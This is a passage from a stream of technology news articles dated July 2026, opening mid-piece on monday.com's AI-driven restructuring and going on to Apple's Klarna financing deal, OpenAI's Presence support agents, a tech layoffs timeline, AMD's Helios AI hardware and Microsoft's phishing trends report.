“Companies in that position do not restructure because they must,” Greyhound’s Gogia noted. “They restructure because they have decided to become something else.”

Melody Brue, VP and principal analyst at Moor Insights & Strategy, pointed out that organizational redesign is important for real AI transformation, but while it can signal confidence to the market, it can still be “devastating” to humans.

While the company looks as though it’s trying to do right, that ultimately remains to be seen, she said. “There are often hidden internal bruises that can surface long after layoffs.”

Monday.com’s advantage is in its “structured substrate,” Gogia noted; its boards, permissions and typed workflows give agents something firmer to act on than just documents and chat history. The company highlights its natively built agents that can be configured by any team member, as well as connectors with Claude, Microsoft Copilot, and ChatGPT, and dedicated routes for external agents to authenticate and operate.

“For some time, the sharper enterprise question has been shifting from who has an agent to who owns the governed runtime in which an agent can safely act,” he said. “Structured work is a serious claim on that runtime.”

But parts of monday.com’s agent estate remain in staged release, and its product is ultimately “mid-transition,” Gogia pointed out; its agent builder carried a beta label as recently as March,. Also, the company’s pricing model changed in May to a hybrid model charging for seats as well as mandatory AI credits. And, while its AI-powered no-code builder monday vibe passed $1 million in annual recurring revenue within two and a half months, monday.com has not released subsequent outcomes, usage volumes, or attach rates.

Further, there’s an element of “gravity” with its competitors, he observed. Asana is reorganizing teams around agents, Atlassian is wiring agents into the developer estate, and others are simply bundling them into their offerings: Microsoft is doing so across the productivity stack, and ServiceNow across enterprise operations, each with identity and procurement built in.

“Their pull is strongest exactly where monday.com wants to grow, in the largest accounts, where control-plane depth and administrative reach decide the deal,” said Gogia.

Actions for the near-term

Going forward, buyers should focus on operating risk, not headline risk, Moor’s Brue noted. In practice, that’s continuity of service, roadmap consistency, and strength of enterprise support. Productivity should be valued as better outcomes per unit of organizational effort, not mere activity.

“It should be a measure of how much smoother, faster, and more effective the operating model becomes when AI is built into the work,” said Brue.

Gogia noted that strain surfaces first in customer service, and monday.com’s attention is being redistributed. The company’s annual report disclosed that its focus is now concentrated on the largest accounts, with support for medium-sized clients moved to an AI-first and human-supported model.

During the first month of the transition, buyers should track named account continuity and escalation times, he advised. By the first quarter, keep an eye on whether credit governance and admin controls mature on schedule, and if the roadmap beyond the AI estate keeps pace. By the half-year mark, determine whether promised implementation depth is producing outcomes or “simply more billable engagement.”

Support tiers should be enumerated in writing before renewal, and buyers should contract for “side exits,” Gogia emphasized, with overage pricing fixed in advance, the right to pause consumption, and portability for workflows and agent configuration “if the relationship sours.” Finance should also insist on monthly consumption reporting by capability. Further, integration efforts, partner dependency, and change management should be considered first-class costs of the agent era, “not as afterthoughts to a license.”

“A license was a known cost,” said Gogia. “A meter is a behavior, and behavior is harder to forecast than headcount.”

This article originally appeared on CIO.com.

Own nothing, upgrade everything: Apple’s new Klarna deal

Sat, 25 Jul 2026 19:50:09 +0200

Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.

This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.

Moving closer to hardware-as-a-service

Apple has slowly been transitioning toward hardware-as-a-service for almost a decade. Back then, Forrester analyst Frank Gillet predicted the company would eventually offer bundles of services and products for a monthly, all-in, fee.

This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.

There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable.

Easy payments for RAM-ageddon

The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has previously rejected these plans to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.

“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by Computerworld. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.”

New age, new shopping habits

The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s good enough for GM, it’s good enough for Apple.

It’s all about attitude, too. From Apple’s perspective, it has done plenty of the groundwork required to convince its customers that subscription payments for things you value are no bad thing.

Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and CEO Tim Cook — first began banging the drum for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of more than 2.5 billion devices globally.

A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me.

There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but probably can’t afford to own.

Managing future risk

The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but abandoned that plan as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.

You can follow me on social media! Join me on BlueSky, LinkedIn, Mastodon and subscribe to The Core.

OpenAI Presence raises new questions about enterprise automation and jobs

Sat, 25 Jul 2026 19:50:08 +0200

OpenAI has launched Presence, an enterprise service for deploying voice and chat agents that can resolve customer and employee requests, potentially automating some work now handled by frontline support teams.

The agents can answer questions and operate IT systems, and enterprises can decide what actions the agents may take and when they should seek human approval for actions or transfer a case to a human.

OpenAI is already using Presence internally for its English-language phone support channel, where it verifies callers and uses account information to complete approved actions. The company said the system resolves 75% of inbound issues without human assistance.

Another OpenAI service, Codex, can be used to monitor agents and suggest updates or improvements to processes. In OpenAI’s own tests, suggestions from Codex helped reduce handoffs to humans by 15 percentage points over 10 days, it said. Presence also includes simulation and evaluation tools that allow companies to test an agent before deployment. The tests assess whether it reaches the correct outcome, follows company policy, and hands a case to an employee when required.

OpenAI intends each Presence deployment to deal with one kind of task, for example billing issues, insurance claims, or employee IT service requests, with agents getting only the knowledge and system access required for that task.

Presence is not a self-service product: Enterprises will have to sign up for the limited availability program, with integration performed by OpenAI or selected global systems integrators.

Companies exploring or testing Presence include Spanish bank BBVA, which is evaluating the service for everyday banking support in Mexico, and Japanese technology group SoftBank, which is using it in trials involving Japanese-language customer interactions. Australian insurer IAG is assessing whether the technology can help it respond to surges in customer demand during severe weather events.

Workforce impact

OpenAI’s announcement did not address the potential effect of Presence on employment. But its claimed automation rate raises questions about how the technology could affect staffing in customer service and other support functions.

Pareekh Jain, CEO of Pareekh Consulting, said CIOs should regard the 75% figure as evidence that the technology can work, rather than as a benchmark that every enterprise can expect to reach.

Jain said OpenAI’s deployment benefits from being built around the company’s own products and data. Large enterprises may achieve lower automation rates because they must contend with fragmented legacy systems, uneven knowledge bases and more complex compliance demands.

“Most organizations should expect lower initial automation levels that improve over time as the AI agent is refined,” Jain said.

The first workforce effect is more likely to be slower hiring than immediate layoffs, according to Tulika Sheel, senior vice president at Kadence International.

“The roles most exposed are likely to be repetitive, high-volume functions such as frontline customer support and routine back-office processing,” Sheel said. “However, I would expect the first impact to be on hiring and team growth rather than immediate large-scale job cuts. Over time, enterprises may redesign roles around AI-assisted workflows, with humans focusing more on complex cases, escalation, and relationship management.”

Jain said Tier-1 support agents handling predictable queries would face the most exposure. Broader reductions would become more likely only after companies reorganize their operations around the technology.

However, Lian Jye Su, chief analyst at Omdia, said Presence is unlikely to increase the threat of job displacement because companies have used similar customer-support automation from vendors such as Genesys, NiCE, Five9 and AWS for years.

Enterprises are more likely to use Presence alongside employees, with AI handling routine requests while people remain responsible for work requiring judgment and empathy, Su said.

Cost and operational risks

Analysts said CIOs should examine whether Presence can maintain resolution quality as usage grows, since fewer human handoffs could leave employees dealing with a more difficult mix of cases.

“The key question is not simply how many tasks AI can handle, but whether it can handle them reliably at scale,” Sheel said.

The financial case will depend partly on the cost of connecting Presence to existing systems and maintaining the controls needed to govern its use, according to Jain. “Often the biggest cost of enterprise AI is not tokens but integration and governance,” Jain added.

Companies will need to determine what systems and data the agents can access, monitor their performance, and audit the actions they take. Those investments could offset early savings.

Su said the complexity of enterprise IT will make it difficult for OpenAI to automate entire workflows on its own. Enterprises will still need to work with other technology providers and human employees, while CIOs will favor systems that can be audited and integrated with existing infrastructure.

Jain said the economics could improve if companies use the same integrations and governance controls across additional workflows.

This article first appeared on CIO.

Tech layoffs: A 2026 timeline

Sat, 25 Jul 2026 19:50:08 +0200

Among a range of factors leading to a wave of tech sector layoffs in 2026 is the rapid rise of artificial intelligence and automation. Companies are reconfiguring their workforces to leverage AI for increased efficiency and reduced operating costs. This realignment and reduction is implemented even by companies reporting strong financial performance.

But it’s not just AI leading to workforce cuts. Complementing this technological shift are ongoing economic uncertainty, inflation, and higher interest rates, compounded by a chip shortage and rising energy costs. This mix is driving companies to cut costs and streamline operations for increased efficiency.

According to data compiled by Layoffs.fyi, an online tracker that keep tabs on job losses in the technology sector, 123,941 tech employees were laid off at 269 companies in 2025. The site also reports that 71,981 government employees were laid off by DOGE alone, with 182,528 total federal workers laid off.

Here is a list — to be updated regularly — of some of the most prominent technology layoffs the industry has experienced recently.

Notable tech layoffs in 2026

Monday.com
Microsoft
Meta
Cisco
Cloudflare
Oracle
Atlassian
Salesforce
Amazon
Ericsson

July 22, 2026: Monday.com cuts 20% of its workforce to restructure for the AI era

The company says the decision to cut 620 jobs isn’t about margins, but about creating a flatter organization built around AI agents, autonomous teams, and deeper customer engagement.

July 6, 2026: Microsoft cuts 4,800 jobs, primarily in sales and Xbox teams

As the company trims thousands of jobs, it’s also investing in embedded engineering teams and AI infrastructure. The layoffs come several weeks after the company offered 8,750 US employees voluntary retirement buyouts.

June 5, 2026: Tech industry cut 38,242 jobs in May, worst since 2024

AI was blamed for 40% of the job cuts in May, up from 7% in January, according to research by employment placement company Challenger, Gray & Christmas.

May 20, 2026: Meta cuts 8,000 jobs, around 10% of workforce

The cuts are expected to expected to hit Meta’s engineering and product teams the hardest, arriving as Meta pivots toward AI to boost efficiency across its organization, according to Yahoo Tech.

May 13, 2026: Cisco to cut nearly 4,000 jobs despite strong growth in AI, enterprise networking

Despite reporting positive financial news — including record third-quarter revenue of $15.8 billion, a 12% year-over-year increase — Cisco said it will eliminate almost 4,000 jobs.

May 7, 2026: Cloudflare to cut 1,100 jobs in AI-focused restructuring

About 20% of Cloudflare’s global workforce will be culled as the company pivots for the agentic AI era, Reuters reported.

April 1, 2026: Oracle to cut up to 30,000 jobs globally, putting enterprise support and roadmaps at risk

Oracle began laying off employees on March 31 in what could be the largest workforce reduction in the company’s history. Employees received termination emails at 6 a.m. local time with immediate system lockouts and no prior warning. (Note: in June, CNBC put the final layoff tally at 21,000.)

March 12, 2026: Atlassian cuts 1,600 jobs to fund AI and enterprise expansion

Atlassian will reduce its global workforce by approximately 10%, eliminating around 1,600 roles, as the collaboration software maker redirects capital toward artificial intelligence development and enterprise sales.

March 11, 2026: Tech layoffs surpass 45,000 in early 2026

A recent analysis by RationalFX found 45,363 job cuts globally so far this year—with roughly 68% or more than 30,000 occurring in the U.S. — highlighting ongoing workforce cuts even as many tech companies report strong revenue growth.

February 10, 2026: Salesforce lays off staffers as executive leadership churn continues

Salesforce has reduced close to 1,000 roles earlier this month across teams, including marketing, product management, data analytics, and its Agentforce AI unit, Business Insider reported, quoting employees familiar with the matter.

January 23, 2026: Amazon layoffs expected to disproportionately hit AWS and tech talent

As the market slows down, AWS and other Amazon units are preparing for another round of layoffs, which is expected to overwhelmingly impact tech talent. An email from HR leader Beth Galetti on Jan. 28 confirmed 16,000 job cuts.

January 15, 2026: Ericsson plans to shed 1,600 jobs in Sweden

Ericsson lans to cut some 1,600 jobs in Sweden, the telecommunications equipment maker said doubling down on recent cost-saving measures that have helped it weather a prolonged downturn in telecoms spending, Reuters reports.

January 13, 2026: Meta plans to cut around 10% of employees in Reality Labs business

Meta plans to cut around 10% of the employees in its Reality Labs division who work on products including the metaverse, according to three people with knowledge of the discussions, according to The New York Times.

Layoffs in 2025

Cisco
Oracle
Windsurf
Intel
Microsoft
Crowdstrike
HPE
Autodesk
HPE
CISA
Workday
Salesforce
Meta

Global tech-sector layoffs surpass 244,000 in 2025

Economic uncertainty, elevated interest rates, and AI adoption have driven workforce reductions across tech companies worldwide, according to a RationalFX report.

October 28, 2025: Amazon to cut 14,000 jobs across company

Amazon will reduce its overall workforce by 14,000, cutting layers of management across the company and hiring in some areas to support its “biggest bets”.

August 18, 2025: Cisco and Oracle to cut hundreds of Bay Area jobs

Tech companies Cisco and Oracle are cutting hundreds of jobs across the Bay Area. Cisco will eliminate 221 positions at its Milpitas and San Francisco offices, effective Oct. 13. Oracle is reducing 101 positions in Santa Clara on the same date

August 5, 2025: 3 weeks after acquiring Windsurf, Cognition offers staff the exit door

Cognition, the AI coding startup that acquired rival company Windsurf three weeks ago, laid off 30 employees last week and is offering buyouts to the roughly 200 remaining employees on the team, reports The Information.

July 25, 2025, Intel to lay off 22% of workforce, CEO Tan signals ‘no more blank checks’

Intel will reduce its workforce to 75,000 employees by the end of 2025 as new CEO Lip-Bu Tan implements sweeping changes designed to transform the struggling chipmaker

July 8, 2025, Intel layoffs begin: Chipmaker is cutting many thousands of jobs

Intel has begun laying off employees across the company. CEO Lip-Bu Tan told workers back in April to expect major layoffs at Intel in the coming months as the chipmaker slashes costs and overhauls its organization after years of technical setbacks and falling sales.

July 2, 2025: Microsoft will cut 9,000 workers

Microsoft will lay off about 9,000 employees, a source familiar with the workforce cut told CNBC. The cuts will reportedly affect less than 4% of Microsoft’s global workforce and will impact different teams, geographies and levels of experience. This is the latest in a string of cuts the tech giant has made this year.

June 17, 2025: Intel looks to factory layoffs to return to profitability

Intel will lay off up to 20% of its manufacturing sector employees starting in July, according to media reports, as the company looks for options as it seeks a return to profitability. The cuts reportedly will be made around the world, but some of the layoffs will be closer to home, according to a report in The Oregonian citing an internal company memo from Intel manufacturing Vice President Naga Chandrasekaran.

May 7, 2025: CrowdStrike to lay off 5% of staff

CrowdStrike announced a plan to cut about 500 roles, roughly 5% of its workforce, to streamline operations and reduce costs. The cybersecurity company will incur about $36 million to $53 million in charges related to the layoffs

March 6, 2025: HPE cuts 2,500 jobs, remains committed to Juniper buy

CEO Antonio Neri told Wall Street analysts that HPE would begin implementing a cost-cutting program involving layoffs of about 2,500 employees over the next 18 months. HPE employs about 61,000 people worldwide.

Feb. 27, 2025: Autodesk to lay off 9% of workforce

Software maker Autodesk is laying off 1,350 staff. With the rise of subscription and multi-year contracts billed annually, and self-service enablement, it finds it needs fewer sales staff, CEO Andrew Anagnost said in a message to employees. And with its cloud, platform, and AI products proving most profitable, it’s concentrating its staff and investments there.

Feb. 27, 2025: HP to lay off 2,000 more

As part of an ongoing restructuring, HP plans to lay off up to another 2,000 workers. In recent weeks, the company has tried — unsuccessfully — to do away with telephone support staff by forcing callers to wait for at least 15 minutes if they refuse to use self-service support resources online. The company swiftly backtracked, but wider job cuts are still on.

Feb. 21, 2025: CISA lays off 130

Government employees get laid off too: In this case, 130 workers at the US Cybersecurity and Infrastructure Security Agency are being shown the door as a result of a DOGE decision. Cybersecurity experts are concerned that the cuts will harm the international collaborations that CISA has fostered, quite apart from their concerns about the security of the DOGE layoff process itself.

Feb. 5, 2025: Workday lays off 1,750

As it moves to invest more in AI and international growth, Workday is laying off 8.5% of its workforce and disposing of unused office space. Some analysts fear the cutbacks will affect the company’s customer service — unless AI can pick up the slack.

Feb. 4, 2025: Salesforce lays off over 1,000

At the same time as it’s hiring sales staff for its new artificial intelligence products, Salesforce is laying off over 1,000 workers across the company, according to Bloomberg. As of June, 2024, the company had over 72,000 employees, according to its website. Salesforce did not comment on the report. In 2024 the company reportedly laid off around 1,000 staff too, in two waves: January and July.

Jan. 14, 2025: Meta will lay off 5% of workforce

Mark Zuckerberg told Meta employees he intended to “move out the low performers faster” in an internal memo reported by Bloomberg. The memo announced that the company will lay off 5% of its staff, or around 3,600 staff, beginning Feb. 10. The company had already reduced its headcount by 5% in 2024 through natural attrition, the memo said. Among those leaving the company will be staff previously responsible for fact checking of posts on its social media platforms in the US, as the company begins relying on its users to police content.

Tech layoffs in 2024

Equinix
AMD
Freshworks
Cisco
General Motors
Intel
OpenText
Microsoft
AWS
Dell

Nov. 26, 2024: Equinix to cut 3% of staff

Despite intense demand for its data center capacity, Equinix is planning to lay off 3% of its workforce, or around 400 employees. The announcement followed the appointment of Adaire Fox-Martin to replace Charles Meyers as CEO and the departures of two other senior executives, CIO Milind Wagle and CISO Michael Montoya.

Nov. 13, 2024: AMD to cut 4% of workforce

AMD will lay off around 1,000 employees as it pivots towards developing AI-focused chips, it said. The move came as a surprise to staff, as the company also reported strong quarterly earnings.

Nov. 7, 2024: Freshworks lays off 660

Enterprise software vendor Freshworks laid off around 660 staff, or around 13% of its headcount, despite reporting increased revenue and profits in its fourth fiscal quarter. The company described the layoffs as a realignment of its global workforce.

Sept. 17, 2024: Cisco lays off 6,000

After laying off around 4,200 staff in February, Cisco is at it again, laying off another 6,000 or around 7% of its workforce. Among the divisions affected were its threat intelligence unit, Talos Security.

Aug. 20, 2024: General Motors lays off 1,000 software staff

More than 1,000 software and services staff are on the way out at General Motors, signalling that it could be rethinking its digital transformation strategy. In an internal memo, the company said that it was moving resources to its highest-priority work and flattening hierarchies.

August 1, 2024: Intel removes 15,000 roles

Intel plans to cut its workforce by around 15% to reduce costs after a disastrous second quarter. Revenue for the three months to June 29 stagnated at around $12.8 billion, but net income fell 85% to $83 million, prompting CEO Pat Gelsinger to bring forward a company-wide meeting in order to announce that 15,000 staff would lose their jobs. “This is an incredibly hard day for Intel as we are making some of the most consequential changes in our company’s history,” Gelsinger wrote in an email to staff, continuing: “Our revenues have not grown as expected — and we’ve yet to fully benefit from powerful trends, like AI. Our costs are too high, our margins are too low. We need bolder actions to address both — particularly given our financial results and outlook for the second half of 2024, which is tougher than previously expected.”

July 4, 2024: OpenText to lay off 1,200

OpenText said it will lay off 1,200 staff, or about 1.7% of its workforce, in a bid to save around $100 million annually. It plans to hire new sales and engineering staff in other areas in 2025, it said.

June 4, 2024: Microsoft lays off staff in Azure division

Microsoft laid off staff in several teams supporting its cloud services, including Azure for Operations and Mission Engineering. The company didn’t say exactly how many staff were leaving.

April 4, 2024: Amazon downsizes AWS in a fresh cost-cutting round

Amazon announced hundreds of layoffs in the sales and marketing teams of its AWS cloud services division — and also in the technology development teams for its physical retail stores, as it stepped back from efforts to generalize the “Just Walk Out” technology built for its Amazon Fresh grocery stores.

April 1, 2024: Dell acknowledges 13,000 job cuts

Dell Technologies’ latest 10K filing with the US Securities and Exchange Commission disclosed that the company had laid off 13,000 employees over the course of the 2023 fiscal year; it characterized the layoffs and other reorganizational moves as cost-cutting measures. “These actions resulted in a reduction in our overall headcount,” the company said. A comparison to the previous year’s 10K filing, performed by The Register, found that Dell employed 133,000 people at that point, compared to 120,000 as of February 2024. Dell announced layoffs of 6,650 staffers on Feb. 6, but it is unclear whether those cuts were reflected in the numbers from this year’s 10K statement.

See news of earlier layoffs.

AMD raises the AI stakes with Helios, Venice and robotics

Sat, 25 Jul 2026 19:50:07 +0200

AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.

AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).

The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.

AMD’s MI455X targets the AI memory wall

The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.

Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.

AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.

AMD

The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.

The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.

AMD’s Helios rack takes aim at Vera Rubin

Dave Altavilla

Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.

In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.

These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.

AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.

While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.

Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.

Kind of like cowbell, AMD Venice gives agentic AI more CPU

AMD

AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.

Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.

Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.

Pensando networking and ROCm software advance

Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.

As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.

On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.

These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.

Customer commitments underscore rack-scale confidence

AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.

Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.

Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.

There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.

AMD expands its robotics and embedded foundation

AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.

The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.

Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.

Execution for AMD is now the test

AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.

AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.

As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Email threats changed after the Tycoon2FA take-down

Sat, 25 Jul 2026 19:50:06 +0200

Traditional phishing techniques are in decline as a result of the disruption of the Tycoon2FA phishing-as-a-service (PHaaS) platform, Microsoft said in a new report, “Email threat landscape: Q2 2026 trends and insights”.

“Phishing volume linked to the platform fell 92% from pre-disruption averages, including QR code phishing and CAPTCHA-gated phishing both declining from their March highs,” the company wrote in the report.

The takedown reduced activity across multiple phishing categories, forcing attackers to shift to newer delivery methods.

Riding this shift in were a few notable phishing campaigns, including an automated business email compromise (BEC) campaign that reached 42,000 organizations in under three hours, and a multi-stage phishing campaign that used nested email (EML) files, calendar invitations, and a Microsoft authentication redirect to deliver malware.

To counter phishing attacks, Microsoft recommends blocking emails containing known bad URLs/ subject fields, enabling password-less authentication methods, or moving to MFA for accounts that still require passwords.

Tycoon2FA disruption sent attackers exploring

The take-down of Tycoon2FA forced its operators to abandon portions of their infrastructure and rework hosting, domain registrations, and delivery mechanisms.

“After falling 15% in March and another 22% in April, Tycoon2FA-linked phishing volume dropped 74% in May to just 1.5 million messages, then fell another 20% in June to 1.2 million, by far the lowest monthly volumes observed in at least a year,” Microsoft said.

The decline extended to QR Code lures and fake CAPTCHA pages, two phishing techniques in which Tycoon2FA accounted for 12% and 14% of industry activity in June, respectively. This indicated that the platform’s customer base had not been able to migrate to a replacement infrastructure.

But cutting off one head of the hacker hydra only gave rise to new tactics elsewhere.

The adaptation came in the form of using Microsoft Teams as a social engineering channel. Attackers established conversations to build trust before attempting credential theft or delivering malicious payloads. “Teams-based phishing volume climbed steadily throughout Q2, with the average number of detected attacks rising 19% from March to April, holding roughly flat into May (+1%), then increasing another 10% into June,” Microsoft said.

Microsoft also observed a highly automated BEC campaign that reached over 67,000 users using scripted emails, Amazon Simple Email Service (SES), and engagement tracking, alongside a separate phishing campaign targeting 107,000 users that abused Microsoft’s authentication flow and trusted cloud services, including Teams archive recording and ICS calendar invite, to disguise malware delivery behind legitimate infrastructure.

Phishing changes but the defense doesn’t

